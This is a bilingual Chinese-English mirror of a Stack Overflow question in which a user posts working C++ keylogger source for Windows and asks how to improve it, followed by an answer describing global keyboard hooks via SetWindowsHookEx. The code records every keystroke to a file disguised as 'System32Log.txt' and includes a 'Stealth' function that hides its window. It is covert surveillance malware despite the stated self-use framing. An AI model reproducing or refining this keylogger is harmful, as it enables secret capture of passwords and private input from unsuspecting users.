C++ 制作键盘记录器

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/12954040/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-08-27 16:48:23  来源:igfitidea点击:

Making a Keylogger

c++keystroke

提问by Marink

I wanted to make a small keylogger on my own pc to see how keystrokes work with C++. I've found some code online and just edited it up a bit though I'm not sure how to do what I want to do.

我想在我自己的电脑上制作一个小的键盘记录器,看看击键是如何与 C++ 一起工作的。我在网上找到了一些代码,只是对其进行了一些编辑,尽管我不确定如何做我想做的事情。

#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>   

using namespace std;  
int Save (int key_stroke, char *file);
void Stealth();

int main() 
{
    Stealth(); 
char i;
while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
            Save (i,"System32Log.txt");
    }
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");  
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)              
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
        else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
        else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
            else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
            else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
                else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
                else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
                    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                        else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                        else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
                        else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

I want to fix it up to properly store stuff like "." "," or more, but I'm not sure since I'm not familiar with the key strokes. Also I would like to add something that would make it use up less CPU (currently 25% on my i5), I should probably use Sleep(value), though I'm not sure which value to go for.

我想修复它以正确存储诸如“。”之类的东西。“,”或更多,但我不确定,因为我不熟悉击键。另外,我想添加一些可以减少 CPU 使用量的东西(目前在我的 i5 上为 25%),我可能应该使用 Sleep(value),尽管我不确定要使用哪个值。

回答by Tobias Langner

Take a quick look at the answers hereand herefor more information on which windows API functions are appropriate for your work.

快速浏览此处此处的答案,了解有关哪些 Windows API 函数适合您的工作的更多信息。



The basic idea is to set a so called "Hook" function on the Keyboard using SetWindowsHookEx (either Keyboard oder Keyboard_LL - you'll probably want the first though). On unloading your keyboardlogger, you need to unhook it. After you have set the hook, Windows will call the hook function after each keyboard event. You process it (log it somewhere) and then you call the next Hook with CAllNextHook to continue processing the event in Windows. You'll need some trying and debugging there.

基本思想是使用 SetWindowsHookEx 在键盘上设置一个所谓的“Hook”函数(键盘或 Keyboard_LL - 你可能需要第一个)。在卸载键盘记录器时,您需要解开它。设置钩子后,Windows 将在每次键盘事件后调用钩子函数。您处理它(将其记录在某处),然后使用 CAllNextHook 调用下一个 Hook 以继续处理 Windows 中的事件。您需要在那里进行一些尝试和调试。

That's it for a global hook (the second link provides information in MSDN). Research on the SetWindowsHookEx function and try to understand the mechanisms behind it and you'll soon succeed. You can also refine your search on stackoverflow using "hook" as keyword in your search (e.g. reading this here)

这就是全局挂钩(第二个链接在 MSDN 中提供信息)。研究 SetWindowsHookEx 函数并尝试了解其背后的机制,您很快就会成功。您还可以在搜索中使用“hook”作为关键字来优化在 stackoverflow 上的搜索(例如在这里阅读)